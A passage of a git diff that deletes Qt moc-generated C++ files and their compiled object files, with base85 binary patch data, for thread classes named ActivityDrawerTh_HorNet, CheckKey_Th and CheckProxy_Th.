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 diff --git a/moc_ActivityDrawerTh_HorNet.cpp b/moc_ActivityDrawerTh_HorNet.cpp deleted file mode 100644 index 73e0574..0000000 --- a/moc_ActivityDrawerTh_HorNet.cpp +++ /dev/null @@ -1,141 +0,0 @@ -/**************************************************************************** -** Meta object code from reading C++ file 'ActivityDrawerTh_HorNet.h' -** -** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) -** -** WARNING! All changes made in this file will be lost! -*****************************************************************************/ - -#include "ActivityDrawerTh_HorNet.h" -#include <QtCore/qbytearray.h> -#include <QtCore/qmetatype.h> -#if !defined(Q_MOC_OUTPUT_REVISION) -#error "The header file 'ActivityDrawerTh_HorNet.h' doesn't include <QObject>." -#elif Q_MOC_OUTPUT_REVISION != 67 -#error "This file was generated using the moc from 5.3.2. It" -#error "cannot be used with the include files from this version of Qt." -#error "(The moc has changed too much.)" -#endif - -QT_BEGIN_MOC_NAMESPACE -struct qt_meta_stringdata_ActivityDrawerTh_HorNet_t { - QByteArrayData data[4]; - char stringdata[53]; -}; -#define QT_MOC_LITERAL(idx, ofs, len) \ - Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ - qptrdiff(offsetof(qt_meta_stringdata_ActivityDrawerTh_HorNet_t, stringdata) + ofs \ - - idx * sizeof(QByteArrayData)) \ - ) -static const qt_meta_stringdata_ActivityDrawerTh_HorNet_t qt_meta_stringdata_ActivityDrawerTh_HorNet = { - { -QT_MOC_LITERAL(0, 0, 23), -QT_MOC_LITERAL(1, 24, 17), -QT_MOC_LITERAL(2, 42, 0), -QT_MOC_LITERAL(3, 43, 9) - }, - "ActivityDrawerTh_HorNet\0sDrawActivityLine\0" - "\0sDrawGrid" -}; -#undef QT_MOC_LITERAL - -static const uint qt_meta_data_ActivityDrawerTh_HorNet[] = { - - // content: - 7, // revision - 0, // classname - 0, 0, // classinfo - 2, 14, // methods - 0, 0, // properties - 0, 0, // enums/sets - 0, 0, // constructors - 0, // flags - 2, // signalCount - - // signals: name, argc, parameters, tag, flags - 1, 1, 24, 2, 0x06 /* Public */, - 3, 0, 27, 2, 0x06 /* Public */, - - // signals: parameters - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, - - 0 // eod -}; - -void ActivityDrawerTh_HorNet::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) -{ - if (_c == QMetaObject::InvokeMetaMethod) { - ActivityDrawerTh_HorNet *_t = static_cast<ActivityDrawerTh_HorNet *>(_o); - switch (_id) { - case 0: _t->sDrawActivityLine((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 1: _t->sDrawGrid(); break; - default: ; - } - } else if (_c == QMetaObject::IndexOfMethod) { - int *result = reinterpret_cast<int *>(_a[0]); - void **func = reinterpret_cast<void **>(_a[1]); - { - typedef void (ActivityDrawerTh_HorNet::*_t)(QString ); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&ActivityDrawerTh_HorNet::sDrawActivityLine)) { - *result = 0; - } - } - { - typedef void (ActivityDrawerTh_HorNet::*_t)(); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&ActivityDrawerTh_HorNet::sDrawGrid)) { - *result = 1; - } - } - } -} - -const QMetaObject ActivityDrawerTh_HorNet::staticMetaObject = { - { &QThread::staticMetaObject, qt_meta_stringdata_ActivityDrawerTh_HorNet.data, - qt_meta_data_ActivityDrawerTh_HorNet, qt_static_metacall, 0, 0} -}; - - -const QMetaObject *ActivityDrawerTh_HorNet::metaObject() const -{ - return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; -} - -void *ActivityDrawerTh_HorNet::qt_metacast(const char *_clname) -{ - if (!_clname) return 0; - if (!strcmp(_clname, qt_meta_stringdata_ActivityDrawerTh_HorNet.stringdata)) - return static_cast<void*>(const_cast< ActivityDrawerTh_HorNet*>(this)); - return QThread::qt_metacast(_clname); -} - -int ActivityDrawerTh_HorNet::qt_metacall(QMetaObject::Call _c, int _id, void **_a) -{ - _id = QThread::qt_metacall(_c, _id, _a); - if (_id < 0) - return _id; - if (_c == QMetaObject::InvokeMetaMethod) { - if (_id < 2) - qt_static_metacall(this, _c, _id, _a); - _id -= 2; - } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { - if (_id < 2) - *reinterpret_cast<int*>(_a[0]) = -1; - _id -= 2; - } - return _id; -} - -// SIGNAL 0 -void ActivityDrawerTh_HorNet::sDrawActivityLine(QString _t1) -{ - void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; - QMetaObject::activate(this, &staticMetaObject, 0, _a); -} - -// SIGNAL 1 -void ActivityDrawerTh_HorNet::sDrawGrid() -{ - QMetaObject::activate(this, &staticMetaObject, 1, 0); -} -QT_END_MOC_NAMESPACE diff --git a/moc_ActivityDrawerTh_HorNet.o b/moc_ActivityDrawerTh_HorNet.o deleted file mode 100644 index 03780ee06a45e18291747389d2b80898cb1a37d6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 10168 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 CbJS@7 diff --git a/moc_CheckKey_Th.cpp b/moc_CheckKey_Th.cpp deleted file mode 100644 index 285d7dc..0000000 --- a/moc_CheckKey_Th.cpp +++ /dev/null @@ -1,88 +0,0 @@ -/**************************************************************************** -** Meta object code from reading C++ file 'CheckKey_Th.h' -** -** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) -** -** WARNING! All changes made in this file will be lost! -*****************************************************************************/ - -#include "CheckKey_Th.h" -#include <QtCore/qbytearray.h> -#include <QtCore/qmetatype.h> -#if !defined(Q_MOC_OUTPUT_REVISION) -#error "The header file 'CheckKey_Th.h' doesn't include <QObject>." -#elif Q_MOC_OUTPUT_REVISION != 67 -#error "This file was generated using the moc from 5.3.2. It" -#error "cannot be used with the include files from this version of Qt." -#error "(The moc has changed too much.)" -#endif - -QT_BEGIN_MOC_NAMESPACE -struct qt_meta_stringdata_CheckKey_Th_t { - QByteArrayData data[1]; - char stringdata[12]; -}; -#define QT_MOC_LITERAL(idx, ofs, len) \ - Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ - qptrdiff(offsetof(qt_meta_stringdata_CheckKey_Th_t, stringdata) + ofs \ - - idx * sizeof(QByteArrayData)) \ - ) -static const qt_meta_stringdata_CheckKey_Th_t qt_meta_stringdata_CheckKey_Th = { - { -QT_MOC_LITERAL(0, 0, 11) - }, - "CheckKey_Th" -}; -#undef QT_MOC_LITERAL - -static const uint qt_meta_data_CheckKey_Th[] = { - - // content: - 7, // revision - 0, // classname - 0, 0, // classinfo - 0, 0, // methods - 0, 0, // properties - 0, 0, // enums/sets - 0, 0, // constructors - 0, // flags - 0, // signalCount - - 0 // eod -}; - -void CheckKey_Th::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) -{ - Q_UNUSED(_o); - Q_UNUSED(_id); - Q_UNUSED(_c); - Q_UNUSED(_a); -} - -const QMetaObject CheckKey_Th::staticMetaObject = { - { &QThread::staticMetaObject, qt_meta_stringdata_CheckKey_Th.data, - qt_meta_data_CheckKey_Th, qt_static_metacall, 0, 0} -}; - - -const QMetaObject *CheckKey_Th::metaObject() const -{ - return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; -} - -void *CheckKey_Th::qt_metacast(const char *_clname) -{ - if (!_clname) return 0; - if (!strcmp(_clname, qt_meta_stringdata_CheckKey_Th.stringdata)) - return static_cast<void*>(const_cast< CheckKey_Th*>(this)); - return QThread::qt_metacast(_clname); -} - -int CheckKey_Th::qt_metacall(QMetaObject::Call _c, int _id, void **_a) -{ - _id = QThread::qt_metacall(_c, _id, _a); - if (_id < 0) - return _id; - return _id; -} -QT_END_MOC_NAMESPACE diff --git a/moc_CheckKey_Th.o b/moc_CheckKey_Th.o deleted file mode 100644 index 90e42498380e8308a1d33b0e506805653f85e02d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 7136 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 diff --git a/moc_CheckProxy_Th.cpp b/moc_CheckProxy_Th.cpp deleted file mode 100644 index d221303..0000000 --- a/moc_CheckProxy_Th.cpp +++ /dev/null @@ -1,194 +0,0 @@ -/**************************************************************************** -** Meta object code from reading C++ file 'CheckProxy_Th.h' -** -** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) -** -** WARNING! All changes made in this file will be lost! -*****************************************************************************/ - -#include "CheckProxy_Th.h" -#include <QtCore/qbytearray.h> -#include <QtCore/qmetatype.h> -#if !defined(Q_MOC_OUTPUT_REVISION) -#error "The header file 'CheckProxy_Th.h' doesn't include <QObject>." -#elif Q_MOC_OUTPUT_REVISION != 67 -#error "This file was generated using the moc from 5.3.2. It" -#error "cannot be used with the include files from this version of Qt." -#error "(The moc has changed too much.)" -#endif - -QT_BEGIN_MOC_NAMESPACE -struct qt_meta_stringdata_CheckProxy_Th_t { - QByteArrayData data[7]; - char stringdata[111]; -}; -#define QT_MOC_LITERAL(idx, ofs, len) \ - Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ - qptrdiff(offsetof(qt_meta_stringdata_CheckProxy_Th_t, stringdata) + ofs \ - - idx * sizeof(QByteArrayData)) \ - ) -static const qt_meta_stringdata_CheckProxy_Th_t qt_meta_stringdata_CheckProxy_Th = { - { -QT_MOC_LITERAL(0, 0, 13), -QT_MOC_LITERAL(1, 14, 16), -QT_MOC_LITERAL(2, 31, 0), -QT_MOC_LITERAL(3, 32, 18), -QT_MOC_LITERAL(4, 51, 19), -QT_MOC_LITERAL(5, 71, 19), -QT_MOC_LITERAL(6, 91, 19) - }, - "CheckProxy_Th\0changeRedIRCData\0\0" - "changeGreenIRCData\0changeYellowIRCData\0" - "changeRawIRCDataInc\0changeRawIRCDataOut" -}; -#undef QT_MOC_LITERAL - -static const uint qt_meta_data_CheckProxy_Th[] = { - - // content: - 7, // revision - 0, // classname - 0, 0, // classinfo - 5, 14, // methods - 0, 0, // properties - 0, 0, // enums/sets - 0, 0, // constructors - 0, // flags - 5, // signalCount - - // signals: name, argc, parameters, tag, flags - 1, 1, 39, 2, 0x06 /* Public */, - 3, 1, 42, 2, 0x06 /* Public */, - 4, 1, 45, 2, 0x06 /* Public */, - 5, 1, 48, 2, 0x06 /* Public */, - 6, 1, 51, 2, 0x06 /* Public */, - - // signals: parameters - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, QMetaType::QString, 2, - - 0 // eod -}; - -void CheckProxy_Th::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) -{ - if (_c == QMetaObject::InvokeMetaMethod) { - CheckProxy_Th *_t = static_cast<CheckProxy_Th *>(_o); - switch (_id) { - case 0: _t->changeRedIRCData((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 1: _t->changeGreenIRCData((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 2: _t->changeYellowIRCData((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 3: _t->changeRawIRCDataInc((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 4: _t->changeRawIRCDataOut((*reinterpret_cast< QString(*)>(_a[1]))); break; - default: ; - } - } else if (_c == QMetaObject::IndexOfMethod) { - int *result = reinterpret_cast<int *>(_a[0]); - void **func = reinterpret_cast<void **>(_a[1]); - 